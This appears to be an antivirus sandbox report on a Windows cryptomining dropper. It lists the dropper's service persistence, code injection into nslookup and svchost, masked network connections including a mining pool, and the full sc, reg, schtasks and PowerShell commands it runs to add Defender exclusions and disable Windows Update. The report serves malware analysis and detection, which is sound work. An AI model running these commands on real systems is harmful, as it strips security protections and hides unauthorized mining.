Technical Information
To ensure autorun and distribution
Sets the following service settings
- [HKLM\SYSTEM\CurrentControlSet\Services\CheckUpdateSvc_a47d] 'Start' = '00000002'
- [HKLM\SYSTEM\CurrentControlSet\Services\CheckUpdateSvc_a47d] 'ImagePath' = '%ALLUSERSPROFILE%\Common\Microsoft\Temp\AC5F54AB\CoreGuardMgr3586.exe'
- [HKLM\SYSTEM\CurrentControlSet\Services\xamkwklhia] 'ImagePath' = '<SYSTEM32>\svchost.exe -k netsvcs -p'
- [HKLM\SYSTEM\CurrentControlSet\Services\jddzjslrha] 'ImagePath' = '<SYSTEM32>\svchost.exe -k wusvcs -p'
- [HKLM\SYSTEM\CurrentControlSet\Services\mhqfkdqlcn] 'ImagePath' = '<SYSTEM32>\svchost.exe -k netsvcs -p'
- [HKLM\SYSTEM\CurrentControlSet\Services\jmryalnydb] 'ImagePath' = '<SYSTEM32>\svchost.exe -k netsvcs -p'
- [HKLM\SYSTEM\CurrentControlSet\Services\vyrmkopayo] 'ImagePath' = '<SYSTEM32>\svchost.exe -k NetworkService -p'
- [HKLM\SYSTEM\CurrentControlSet\Services\pvdhnnxg] 'ImagePath' = '%WINDIR%\TEMP\pvdhnnxg.sys'
Creates the following services
- 'CheckUpdateSvc_a47d' %ALLUSERSPROFILE%\Common\Microsoft\Temp\AC5F54AB\CoreGuardMgr3586.exe
- 'pvdhnnxg' %WINDIR%\TEMP\pvdhnnxg.sys
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Update
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath $env:UserProfile -Force
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath $env:ProgramData -Force
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath $env:TEMP -Force
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension '.exe' -Force
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension '.sys' -Force
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionProcess 'nslookup.exe' -Force
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionProcess 'svchost.exe' -Force
Injects code into
the following system processes:
- <SYSTEM32>\nslookup.exe
- <SYSTEM32>\svchost.exe
Modifies file system
Creates the following files
- %ALLUSERSPROFILE%\common\microsoft\temp\ac5f54ab\coreguardmgr3586.exe
- %WINDIR%\temp\__psscriptpolicytest_20mhlsvy.5ng.ps1
- %WINDIR%\temp\__psscriptpolicytest_v0zkrw5f.bc2.psm1
- %WINDIR%\temp\__psscriptpolicytest_1v411r41.eib.ps1
- %WINDIR%\temp\__psscriptpolicytest_wzjg41kx.imu.psm1
- <SYSTEM32>\config\systemprofile\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive
- %WINDIR%\temp\__psscriptpolicytest_jk40uwgy.3i3.ps1
- %WINDIR%\temp\__psscriptpolicytest_1bzaaogh.s1u.psm1
- %WINDIR%\temp\__psscriptpolicytest_wzktrhyx.veb.ps1
- %WINDIR%\temp\__psscriptpolicytest_jjxt2ggi.lmv.psm1
- %WINDIR%\temp\__psscriptpolicytest_jgaaag0j.kyc.ps1
- %WINDIR%\temp\__psscriptpolicytest_srgrldk5.03k.psm1
- %WINDIR%\temp\__psscriptpolicytest_13dypbf2.hpq.ps1
- %WINDIR%\temp\__psscriptpolicytest_okpmyrm0.scs.psm1
- %WINDIR%\temp\__psscriptpolicytest_10ubzxlf.jhk.ps1
- %WINDIR%\temp\__psscriptpolicytest_mkmxsnga.tzo.psm1
- %WINDIR%\temp\__psscriptpolicytest_gi1ozmwd.tt5.ps1
- %WINDIR%\temp\__psscriptpolicytest_kjpdc43c.52s.psm1
- %WINDIR%\temp\__psscriptpolicytest_cikbnqjs.0ko.ps1
- %WINDIR%\temp\__psscriptpolicytest_h11epax3.2v3.psm1
- %WINDIR%\temp\__psscriptpolicytest_fyllctrt.mvr.ps1
- %WINDIR%\temp\__psscriptpolicytest_12x2ebjm.uek.psm1
- %WINDIR%\temp\__psscriptpolicytest_2njqwnhx.uu1.ps1
- %WINDIR%\temp\__psscriptpolicytest_hrtg2geh.wy3.psm1
- %WINDIR%\temp\__psscriptpolicytest_i5nez4y3.fmi.ps1
- %WINDIR%\temp\__psscriptpolicytest_ajczmakq.zoo.psm1
- %WINDIR%\temp\__psscriptpolicytest_t1co1wao.uce.ps1
- %WINDIR%\temp\__psscriptpolicytest_ssvjycdn.eg3.psm1
- %WINDIR%\temp\__psscriptpolicytest_e0z4fhr3.cfj.ps1
- %WINDIR%\temp\__psscriptpolicytest_ksfowgpp.5du.psm1
- %WINDIR%\temp\__psscriptpolicytest_cyi4vxco.t1q.ps1
- %WINDIR%\temp\__psscriptpolicytest_hcfvrpys.xqv.psm1
- %WINDIR%\temp\__psscriptpolicytest_ecya5s2l.ypq.ps1
- %WINDIR%\temp\__psscriptpolicytest_uqim5nhz.3sd.psm1
- %WINDIR%\temp\pvdhnnxg.sys
Deletes following files that it created itself
- %WINDIR%\temp\__psscriptpolicytest_20mhlsvy.5ng.ps1
- %WINDIR%\temp\__psscriptpolicytest_v0zkrw5f.bc2.psm1
- %WINDIR%\temp\__psscriptpolicytest_1v411r41.eib.ps1
- %WINDIR%\temp\__psscriptpolicytest_wzjg41kx.imu.psm1
- %WINDIR%\temp\__psscriptpolicytest_jk40uwgy.3i3.ps1
- %WINDIR%\temp\__psscriptpolicytest_1bzaaogh.s1u.psm1
- %WINDIR%\temp\__psscriptpolicytest_wzktrhyx.veb.ps1
- %WINDIR%\temp\__psscriptpolicytest_jjxt2ggi.lmv.psm1
- %WINDIR%\temp\__psscriptpolicytest_jgaaag0j.kyc.ps1
- %WINDIR%\temp\__psscriptpolicytest_srgrldk5.03k.psm1
- %WINDIR%\temp\__psscriptpolicytest_13dypbf2.hpq.ps1
- %WINDIR%\temp\__psscriptpolicytest_okpmyrm0.scs.psm1
- %WINDIR%\temp\__psscriptpolicytest_10ubzxlf.jhk.ps1
- %WINDIR%\temp\__psscriptpolicytest_mkmxsnga.tzo.psm1
- %WINDIR%\temp\__psscriptpolicytest_gi1ozmwd.tt5.ps1
- %WINDIR%\temp\__psscriptpolicytest_kjpdc43c.52s.psm1
- %WINDIR%\temp\__psscriptpolicytest_cikbnqjs.0ko.ps1
- %WINDIR%\temp\__psscriptpolicytest_h11epax3.2v3.psm1
- %WINDIR%\temp\__psscriptpolicytest_fyllctrt.mvr.ps1
- %WINDIR%\temp\__psscriptpolicytest_12x2ebjm.uek.psm1
- %WINDIR%\temp\__psscriptpolicytest_2njqwnhx.uu1.ps1
- %WINDIR%\temp\__psscriptpolicytest_hrtg2geh.wy3.psm1
- %WINDIR%\temp\__psscriptpolicytest_i5nez4y3.fmi.ps1
- %WINDIR%\temp\__psscriptpolicytest_ajczmakq.zoo.psm1
- %WINDIR%\temp\__psscriptpolicytest_t1co1wao.uce.ps1
- %WINDIR%\temp\__psscriptpolicytest_ssvjycdn.eg3.psm1
- %WINDIR%\temp\__psscriptpolicytest_e0z4fhr3.cfj.ps1
- %WINDIR%\temp\__psscriptpolicytest_ksfowgpp.5du.psm1
- %WINDIR%\temp\__psscriptpolicytest_cyi4vxco.t1q.ps1
- %WINDIR%\temp\__psscriptpolicytest_hcfvrpys.xqv.psm1
- %WINDIR%\temp\__psscriptpolicytest_ecya5s2l.ypq.ps1
- %WINDIR%\temp\__psscriptpolicytest_uqim5nhz.3sd.psm1
Moves itself
- from <Full path to file> to \:u
Network activity
Connects to
- 'ap#.zan.top':443
- 'oc##.#igicert.cn':80
- 'ga####y.tenderly.co':443
- 'x1.#.lencr.org':80
- 'yr.#.lencr.org':80
- 'yr#.#.lencr.org':80
- 'po##.#upportxmr.com':443
TCP
HTTP GET requests
- http://oc##.#igicert.cn/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBRr4%2BiIrsX9hkefvihPQKu88%2B%2FgQUxauLpwY1%2Fdd9vOT582SojD%2FYwDkCEAIa0HshnG4D%2BQHLX%2FIZ2J0%3D
- http://yr#.#.lencr.org/122.crl
- http://yr.#.lencr.org/
Other
- 'ap#.zan.top':443
- 'ga####y.tenderly.co':443
- 'po##.#upportxmr.com':443
UDP
- DNS ASK ap#.zan.top
- DNS ASK oc##.#igicert.cn
- DNS ASK ga####y.tenderly.co
- DNS ASK x1.#.lencr.org
- DNS ASK yr.#.lencr.org
- DNS ASK yr#.#.lencr.org
- DNS ASK po##.#upportxmr.com
Miscellaneous
Creates and executes the following
- '%ALLUSERSPROFILE%\common\microsoft\temp\ac5f54ab\coreguardmgr3586.exe'
Executes the following
- '<SYSTEM32>\sc.exe' delete "CheckUpdateSvc_a47d"
- '<SYSTEM32>\sc.exe' create "CheckUpdateSvc_a47d" binpath= "%ALLUSERSPROFILE%\Common\Microsoft\Temp\AC5F54AB\CoreGuardMgr3586.exe" start= "auto"
- '<SYSTEM32>\sc.exe' start "CheckUpdateSvc_a47d"
- '<SYSTEM32>\nslookup.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-O...
- '<SYSTEM32>\sc.exe' config WaaSMedicSvc start= disabled
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\sc.exe' config UsoSvc start= disabled
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" "HKLM\SYSTEM\CurrentControlSet\Services\xamkwklhia" /s /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" "HKLM\SYSTEM\CurrentControlSet\Services\jddzjslrha" /s /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
- '<SYSTEM32>\sc.exe' config wuauserv start= disabled
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" "HKLM\SYSTEM\CurrentControlSet\Services\mhqfkdqlcn" /s /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
- '<SYSTEM32>\sc.exe' config BITS start= disabled
- '<SYSTEM32>\sc.exe' stop BITS
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\BITS" "HKLM\SYSTEM\CurrentControlSet\Services\jmryalnydb" /s /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\BITS" /f
- '<SYSTEM32>\sc.exe' config dosvc start= disabled
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" "HKLM\SYSTEM\CurrentControlSet\Services\vyrmkopayo" /s /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan Static Task" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Work" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_AC" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_Battery" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WaaSMedic\PerformRemediation" /Disable
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\MRT\MRT_HB" /Disable
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows Removal Tools\MRT_HB" /Disable
- '<SYSTEM32>\svchost.exe'
- '<SYSTEM32>\sc.exe' delete "CheckUpdateSvc_a47d"' (with hidden window)
- '<SYSTEM32>\sc.exe' create "CheckUpdateSvc_a47d" binpath= "%ALLUSERSPROFILE%\Common\Microsoft\Temp\AC5F54AB\CoreGuardMgr3586.exe" start= "auto"' (with hidden window)
- '<SYSTEM32>\sc.exe' start "CheckUpdateSvc_a47d"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath $env:UserProfile -Force' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath $env:ProgramData -Force' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath $env:TEMP -Force' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension '.exe' -Force' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionExtension '.sys' -Force' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionProcess 'nslookup.exe' -Force' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionProcess 'svchost.exe' -Force' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-O...' (with hidden window)
- '<SYSTEM32>\sc.exe' config WaaSMedicSvc start= disabled' (with hidden window)
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc' (with hidden window)
- '<SYSTEM32>\sc.exe' config UsoSvc start= disabled' (with hidden window)
- '<SYSTEM32>\sc.exe' stop UsoSvc' (with hidden window)
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" "HKLM\SYSTEM\CurrentControlSet\Services\xamkwklhia" /s /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f' (with hidden window)
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" "HKLM\SYSTEM\CurrentControlSet\Services\jddzjslrha" /s /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f' (with hidden window)
- '<SYSTEM32>\sc.exe' config wuauserv start= disabled' (with hidden window)
- '<SYSTEM32>\sc.exe' stop wuauserv' (with hidden window)
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" "HKLM\SYSTEM\CurrentControlSet\Services\mhqfkdqlcn" /s /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f' (with hidden window)
- '<SYSTEM32>\sc.exe' config BITS start= disabled' (with hidden window)
- '<SYSTEM32>\sc.exe' stop BITS' (with hidden window)
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\BITS" "HKLM\SYSTEM\CurrentControlSet\Services\jmryalnydb" /s /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\BITS" /f' (with hidden window)
- '<SYSTEM32>\sc.exe' config dosvc start= disabled' (with hidden window)
- '<SYSTEM32>\sc.exe' stop dosvc' (with hidden window)
- '<SYSTEM32>\reg.exe' copy "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" "HKLM\SYSTEM\CurrentControlSet\Services\vyrmkopayo" /s /f' (with hidden window)
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan Static Task" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Work" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_AC" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_Battery" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\WaaSMedic\PerformRemediation" /Disable' (with hidden window)
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0' (with hidden window)
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0' (with hidden window)
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0' (with hidden window)
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows\MRT\MRT_HB" /Disable' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Change /TN "\Microsoft\Windows Removal Tools\MRT_HB" /Disable' (with hidden window)
